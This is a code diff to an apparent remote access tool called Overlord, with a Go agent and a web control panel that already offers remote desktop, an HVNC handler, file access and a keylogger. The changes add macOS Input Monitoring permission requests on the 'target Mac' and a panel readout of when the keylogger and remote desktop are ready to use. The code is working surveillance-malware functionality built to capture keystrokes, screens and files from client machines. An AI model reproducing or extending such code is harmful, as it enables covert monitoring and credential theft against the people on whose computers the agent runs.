diff --git a/Overlord-Client/cmd/agent/handlers/command.go b/Overlord-Client/cmd/agent/handlers/command.go index 3798392..627ae70 100644 --- a/Overlord-Client/cmd/agent/handlers/command.go +++ b/Overlord-Client/cmd/agent/handlers/command.go @@ -2281,6 +2281,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in case "darwin_request_permissions": payload, _ := envelope["payload"].(map[string]interface{}) var requested []string + refreshOnly, _ := payload["refreshOnly"].(bool) if raw, ok := payload["permissions"].([]interface{}); ok { for _, item := range raw { if key, ok := item.(string); ok && key != "" { @@ -2288,9 +2289,16 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in } } } - perms := sysinfo.RequestDarwinPermissions(requested) + perms := sysinfo.DarwinPermissionsRefresh() + if !refreshOnly { + perms = sysinfo.RequestDarwinPermissions(requested) + } missing := make([]string, 0) - for _, key := range []string{"accessibility", "screenRecording", "fullDiskAccess"} { + keys := []string{"accessibility", "screenRecording", "fullDiskAccess"} + if !refreshOnly { + keys = append(keys, "inputMonitoring") + } + for _, key := range keys { if perms == nil || !perms[key] { missing = append(missing, key) } diff --git a/Overlord-Client/cmd/agent/sysinfo/admin_darwin.go b/Overlord-Client/cmd/agent/sysinfo/admin_darwin.go index 6c96627..9384029 100644 --- a/Overlord-Client/cmd/agent/sysinfo/admin_darwin.go +++ b/Overlord-Client/cmd/agent/sysinfo/admin_darwin.go @@ -22,6 +22,16 @@ func Elevation() string { } func DarwinPermissions() map[string]bool { + return map[string]bool{ + "screenRecording": darwinScreenRecordingPermission(), + "accessibility": darwinAccessibilityPermission(), + "inputMonitoring": darwinInputMonitoringPermission(), + "fullDiskAccess": darwinFullDiskAccessPermission(), + "root": os.Getuid() == 0, + } +} + +func DarwinPermissionsRefresh() map[string]bool { return map[string]bool{ "screenRecording": darwinScreenRecordingPermission(), "accessibility": darwinAccessibilityPermission(), @@ -38,6 +48,7 @@ func RequestDarwinPermissions(requested []string) map[string]bool { if len(want) == 0 { want["accessibility"] = true want["screenRecording"] = true + want["inputMonitoring"] = true want["fullDiskAccess"] = true } @@ -47,6 +58,10 @@ func RequestDarwinPermissions(requested []string) map[string]bool { if want["screenRecording"] { darwinRequestScreenRecordingPermission() } + if want["inputMonitoring"] { + darwinRequestInputMonitoringPermission() + _ = exec.Command("open", "x-apple.systempreferences:com.apple.preference.security?Privacy_ListenEvent").Start() + } if want["fullDiskAccess"] { _ = exec.Command("open", "x-apple.systempreferences:com.apple.preference.security?Privacy_AllFiles").Start() } diff --git a/Overlord-Client/cmd/agent/sysinfo/admin_iostarget.go b/Overlord-Client/cmd/agent/sysinfo/admin_iostarget.go index 7df287c..2fdde60 100644 --- a/Overlord-Client/cmd/agent/sysinfo/admin_iostarget.go +++ b/Overlord-Client/cmd/agent/sysinfo/admin_iostarget.go @@ -14,6 +14,10 @@ func DarwinPermissions() map[string]bool { return nil } +func DarwinPermissionsRefresh() map[string]bool { + return nil +} + func RequestDarwinPermissions(_ []string) map[string]bool { return nil } diff --git a/Overlord-Client/cmd/agent/sysinfo/admin_other.go b/Overlord-Client/cmd/agent/sysinfo/admin_other.go index 183867b..b8ab064 100644 --- a/Overlord-Client/cmd/agent/sysinfo/admin_other.go +++ b/Overlord-Client/cmd/agent/sysinfo/admin_other.go @@ -20,6 +20,10 @@ func DarwinPermissions() map[string]bool { return nil } +func DarwinPermissionsRefresh() map[string]bool { + return nil +} + func RequestDarwinPermissions(_ []string) map[string]bool { return nil } diff --git a/Overlord-Client/cmd/agent/sysinfo/admin_windows.go b/Overlord-Client/cmd/agent/sysinfo/admin_windows.go index a5c4a88..58aa397 100644 --- a/Overlord-Client/cmd/agent/sysinfo/admin_windows.go +++ b/Overlord-Client/cmd/agent/sysinfo/admin_windows.go @@ -66,6 +66,10 @@ func DarwinPermissions() map[string]bool { return nil } +func DarwinPermissionsRefresh() map[string]bool { + return nil +} + func RequestDarwinPermissions(_ []string) map[string]bool { return nil } diff --git a/Overlord-Client/cmd/agent/sysinfo/darwin_permissions_cgo.go b/Overlord-Client/cmd/agent/sysinfo/darwin_permissions_cgo.go index d4a64bd..70f87fd 100644 --- a/Overlord-Client/cmd/agent/sysinfo/darwin_permissions_cgo.go +++ b/Overlord-Client/cmd/agent/sysinfo/darwin_permissions_cgo.go @@ -3,11 +3,12 @@ package sysinfo /* -#cgo LDFLAGS: -framework ApplicationServices -framework CoreGraphics -framework CoreFoundation +#cgo LDFLAGS: -framework ApplicationServices -framework CoreGraphics -framework CoreFoundation -framework IOKit #include #include #include +#include #include extern bool CGPreflightScreenCaptureAccess(void) __attribute__((weak_import)); @@ -22,6 +23,10 @@ static int checkScreenRecordingPermission(void) { return CGPreflightScreenCaptureAccess() ? 1 : 0; } +static int checkInputMonitoringPermission(void) { + return IOHIDCheckAccess(kIOHIDRequestTypeListenEvent) == kIOHIDAccessTypeGranted ? 1 : 0; +} + static int requestAccessibilityPermission(void) { const void *keys[] = { kAXTrustedCheckOptionPrompt }; const void *values[] = { kCFBooleanTrue }; @@ -42,6 +47,10 @@ static int requestScreenRecordingPermission(void) { if (CGRequestScreenCaptureAccess == NULL) return checkScreenRecordingPermission(); return CGRequestScreenCaptureAccess() ? 1 : 0; } + +static int requestInputMonitoringPermission(void) { + return IOHIDRequestAccess(kIOHIDRequestTypeListenEvent) == kIOHIDAccessTypeGranted ? 1 : 0; +} */ import "C" @@ -53,6 +62,10 @@ func darwinScreenRecordingPermission() bool { return C.checkScreenRecordingPermission() == 1 } +func darwinInputMonitoringPermission() bool { + return C.checkInputMonitoringPermission() == 1 +} + func darwinRequestAccessibilityPermission() bool { return C.requestAccessibilityPermission() == 1 } @@ -60,3 +73,7 @@ func darwinRequestAccessibilityPermission() bool { func darwinRequestScreenRecordingPermission() bool { return C.requestScreenRecordingPermission() == 1 } + +func darwinRequestInputMonitoringPermission() bool { + return C.requestInputMonitoringPermission() == 1 +} diff --git a/Overlord-Client/cmd/agent/sysinfo/darwin_permissions_nocgo.go b/Overlord-Client/cmd/agent/sysinfo/darwin_permissions_nocgo.go index 9bbfa57..7eaa6e0 100644 --- a/Overlord-Client/cmd/agent/sysinfo/darwin_permissions_nocgo.go +++ b/Overlord-Client/cmd/agent/sysinfo/darwin_permissions_nocgo.go @@ -10,6 +10,10 @@ func darwinScreenRecordingPermission() bool { return false } +func darwinInputMonitoringPermission() bool { + return false +} + func darwinRequestAccessibilityPermission() bool { return false } @@ -17,3 +21,7 @@ func darwinRequestAccessibilityPermission() bool { func darwinRequestScreenRecordingPermission() bool { return false } + +func darwinRequestInputMonitoringPermission() bool { + return false +} diff --git a/Overlord-Server/public/assets/main.css b/Overlord-Server/public/assets/main.css index 71eab88..625b1f5 100644 --- a/Overlord-Server/public/assets/main.css +++ b/Overlord-Server/public/assets/main.css @@ -2613,6 +2613,44 @@ tbody tr:hover { .cv-perm-chip:hover { filter: brightness(1.08); } .cv-perm-chip.is-ok { background: rgba(16, 185, 129, 0.1); color: #86efac; border-color: rgba(16, 185, 129, 0.25); } .cv-perm-chip.is-missing { background: rgba(244, 63, 94, 0.1); color: #fda4af; border-color: rgba(244, 63, 94, 0.25); } +.cv-perm-freshness { + font-size: 10px; + color: var(--cv-text-dim); + white-space: nowrap; +} +.cv-perm-readiness, +.cv-perm-actions { + display: inline-flex; + align-items: center; + gap: 5px; + flex-wrap: wrap; +} +.cv-perm-readiness { + width: 100%; +} +.cv-ready-chip, +.cv-perm-tool { + display: inline-flex; + align-items: center; + gap: 5px; + min-height: 22px; + padding: 2px 7px; + border-radius: 4px; + border: 1px solid transparent; + font-size: 11px; + white-space: nowrap; +} +.cv-ready-chip.is-ok { background: rgba(16, 185, 129, 0.08); color: #86efac; border-color: rgba(16, 185, 129, 0.2); } +.cv-ready-chip.is-warn { background: rgba(245, 158, 11, 0.1); color: #fcd34d; border-color: rgba(245, 158, 11, 0.24); } +.cv-perm-tool { + cursor: pointer; + font: inherit; + appearance: none; + background: rgba(148, 163, 184, 0.08); + color: var(--cv-text); + border-color: rgba(148, 163, 184, 0.18); +} +.cv-perm-tool:hover { background: rgba(148, 163, 184, 0.14); } .cv-group { display: inline-flex; diff --git a/Overlord-Server/public/assets/main.js b/Overlord-Server/public/assets/main.js index 5d7d218..94edd08 100644 --- a/Overlord-Server/public/assets/main.js +++ b/Overlord-Server/public/assets/main.js @@ -184,12 +184,13 @@ function macPermissionLabels(keys = []) { const labels = { accessibility: "Accessibility", screenRecording: "Screen Recording", + inputMonitoring: "Input Monitoring", fullDiskAccess: "Full Disk Access", }; return keys.map((key) => labels[key] || key).join(", "); } -async function requestMacPermissions(clientId, permissionKey = "") { +async function requestMacPermissions(clientId, permissionKey = "", { refreshOnly = false } = {}) { if (!clientId) return; if (!isClientOnline(clientId)) { alert("Client is offline. macOS permissions can only be requested while the client is online."); @@ -200,14 +201,20 @@ async function requestMacPermissions(clientId, permissionKey = "") { return; } - const requested = permissionKey ? [permissionKey] : ["accessibility", "screenRecording", "fullDiskAccess"]; + const requested = permissionKey + ? [permissionKey] + : refreshOnly + ? ["accessibility", "screenRecording", "fullDiskAccess"] + : ["accessibility", "screenRecording", "inputMonitoring", "fullDiskAccess"]; const label = macPermissionLabels(requested) || "macOS permissions"; - const proceed = confirm( - `Request ${label} from ${clientId}?\n\n` + - "This can show a macOS prompt on the target Mac. " + - "Full Disk Access must be granted in System Settings; the agent will open the Privacy pane when possible.", - ); - if (!proceed) return; + if (!refreshOnly) { + const proceed = confirm( + `Request ${label} from ${clientId}?\n\n` + + "This can show a macOS prompt on the target Mac. " + + "Full Disk Access must be granted in System Settings; the agent will open the Privacy pane when possible.", + ); + if (!proceed) return; + } try { const res = await fetch(`/api/clients/${encodeURIComponent(clientId)}/command`, { @@ -216,6 +223,7 @@ async function requestMacPermissions(clientId, permissionKey = "") { body: JSON.stringify({ action: "darwin_request_permissions", permissions: requested, + refreshOnly, }), }); const data = await res.json().catch(() => ({})); @@ -225,7 +233,9 @@ async function requestMacPermissions(clientId, permissionKey = "") { } const missing = Array.isArray(data.missing) ? data.missing : []; const stillMissingRequested = missing.filter((key) => requested.includes(key)); - if (stillMissingRequested.length) { + if (refreshOnly) { + window.showToast?.("macOS permissions refreshed", "success", 2500); + } else if (stillMissingRequested.length) { alert(`Permission request completed, but still missing: ${macPermissionLabels(stillMissingRequested)}`); } else { alert(`${label} is granted.`); @@ -236,6 +246,25 @@ async function requestMacPermissions(clientId, permissionKey = "") { } } +async function applyMacPermissionChanges(clientId) { + if (!clientId) return; + if (!isClientOnline(clientId)) { + alert("Client is offline."); + return; + } + const proceed = confirm( + `Reconnect ${clientId} to apply macOS permission changes?\n\n` + + "The client will reconnect and report fresh permission state.", + ); + if (!proceed) return; + markManualDisconnect(clientId); + const ok = await sendCommand(clientId, "reconnect"); + if (ok) { + window.showToast?.("Reconnect requested", "success", 2500); + setTimeout(() => loadWithOptions({ force: true }), 1200); + } +} + window.__uninstallingClientIds = window.__uninstallingClientIds || new Set(); function flipFallAndRemove(clientId, { delayMs = 0 } = {}) { @@ -910,6 +939,8 @@ function initializeRenderer() { requestThumbnail, pingClient: (id) => sendCommand(id, "ping"), onMacPermissionRequest: (id, _card, permissionKey) => requestMacPermissions(id, permissionKey), + onMacPermissionRefresh: (id) => requestMacPermissions(id, "", { refreshOnly: true }), + onMacPermissionApply: (id) => applyMacPermissionChanges(id), userRole: currentUser?.role, getServerVersion: () => currentServerVersion, getDisplayFields: () => displayFields, diff --git a/Overlord-Server/public/assets/render.js b/Overlord-Server/public/assets/render.js index 24d0444..b2f2d79 100644 --- a/Overlord-Server/public/assets/render.js +++ b/Overlord-Server/public/assets/render.js @@ -208,6 +208,7 @@ function isMacClient(client) { const MAC_PERMISSION_LABELS = [ ["accessibility", "Accessibility"], ["screenRecording", "Screen Recording"], + ["inputMonitoring", "Input Monitoring"], ["fullDiskAccess", "Full Disk Access"], ]; @@ -234,12 +235,36 @@ function macPermissionDetailHtml(client) { if (!state) return ""; const ok = state.missing.length === 0; const summary = ok ? "All required permissions granted" : `Missing: ${state.missing.map((item) => item.label).join(", ")}`; + const granted = Object.fromEntries(state.items.map((item) => [item.key, item.granted])); + const featureItems = [ + { + label: "Remote Desktop", + ready: granted.screenRecording && granted.accessibility, + missing: ["screenRecording", "accessibility"].filter((key) => !granted[key]), + }, + { + label: "Keylogger", + ready: granted.accessibility && granted.inputMonitoring, + missing: ["accessibility", "inputMonitoring"].filter((key) => !granted[key]), + }, + { + label: "Files", + ready: granted.fullDiskAccess, + missing: granted.fullDiskAccess ? [] : ["fullDiskAccess"], + }, + ]; + const labelFor = (key) => MAC_PERMISSION_LABELS.find(([k]) => k === key)?.[1] || key; const chips = state.items.map((item) => ` - `).join(""); - return `
macOS Permissions${escapeHtml(summary)}${chips}
`; + const readiness = featureItems.map((item) => ` + + ${escapeHtml(item.label)} + + `).join(""); + return `
macOS Permissions${escapeHtml(summary)}${chips}Checked ${escapeHtml(formatAgo(client.lastSeen))}; Input Monitoring updates after reconnect${readiness}
`; } function shortOsLabel(osRaw = "") { @@ -282,6 +307,8 @@ export function createRenderer({ requestThumbnail, pingClient, onMacPermissionRequest, + onMacPermissionRefresh, + onMacPermissionApply, userRole, getServerVersion, getDisplayFields, @@ -390,6 +417,20 @@ export function createRenderer({ return; } + if (e.target.closest("[data-mac-permission-refresh]")) { + e.preventDefault(); + e.stopPropagation(); + if (onMacPermissionRefresh) onMacPermissionRefresh(clientId, card); + return; + } + + if (e.target.closest("[data-mac-permission-apply]")) { + e.preventDefault(); + e.stopPropagation(); + if (onMacPermissionApply) onMacPermissionApply(clientId, card); + return; + } + const copyBtn = e.target.closest(".copy-id-btn"); if (copyBtn) { e.stopPropagation(); diff --git a/Overlord-Server/src/server/routes/client-command-routes.ts b/Overlord-Server/src/server/routes/client-command-routes.ts index fe82f5f..cbabaf0 100644 --- a/Overlord-Server/src/server/routes/client-command-routes.ts +++ b/Overlord-Server/src/server/routes/client-command-routes.ts @@ -114,6 +114,7 @@ export async function handleClientCommandRoute( const requested = Array.isArray(body?.permissions) ? body.permissions.filter((p: unknown) => typeof p === "string").slice(0, 8) : []; + const refreshOnly = body?.refreshOnly === true; const cmdId = uuidv4(); const replyPromise: Promise<{ ok: boolean; message?: string }> = new Promise((resolve, reject) => { const timeout = setTimeout(() => { @@ -123,7 +124,7 @@ export async function handleClientCommandRoute( deps.pendingCommandReplies.set(cmdId, { resolve, reject, timeout, clientId: targetId }); }); - target.ws.send(encodeMessage({ type: "command", commandType: "darwin_request_permissions", id: cmdId, payload: { permissions: requested } } as any)); + target.ws.send(encodeMessage({ type: "command", commandType: "darwin_request_permissions", id: cmdId, payload: { permissions: requested, refreshOnly } } as any)); metrics.recordCommand("darwin_request_permissions"); logAudit({ timestamp: Date.now(), username: user.username, ip, action: AuditAction.COMMAND, targetClientId: targetId, success: true, details: "darwin_request_permissions" }); @@ -134,8 +135,13 @@ export async function handleClientCommandRoute( try { detail = JSON.parse(result.message); } catch { detail = {}; } } if (detail.permissions && typeof detail.permissions === "object" && !Array.isArray(detail.permissions)) { - target.permissions = detail.permissions; - upsertClientRow({ id: targetId, permissions: target.permissions, lastSeen: target.lastSeen, online: target.online ? 1 : 0 }); + const checkedAt = Date.now(); + target.permissions = { + ...(target.permissions || {}), + ...detail.permissions, + }; + target.lastSeen = checkedAt; + upsertClientRow({ id: targetId, permissions: target.permissions, lastSeen: checkedAt, online: target.online ? 1 : 0 }); } return Response.json({ ok: result.ok, diff --git a/Overlord-Server/src/server/ws-console-rd-hvnc.ts b/Overlord-Server/src/server/ws-console-rd-hvnc.ts index 1f6017e..72e3259 100644 --- a/Overlord-Server/src/server/ws-console-rd-hvnc.ts +++ b/Overlord-Server/src/server/ws-console-rd-hvnc.ts @@ -327,7 +327,8 @@ export function handleRemoteDesktopViewerMessage(ws: ServerWebSocket switch (payload.type) { case "desktop_start": if (!state.isStreaming) { - if (target.os === "darwin" && target.permissions) { + const targetOs = String(target.os || "").toLowerCase(); + if ((targetOs.includes("darwin") || targetOs.includes("mac")) && target.permissions) { const missing: string[] = []; if (!target.permissions.screenRecording) missing.push("screenRecording"); if (!target.permissions.accessibility) missing.push("accessibility");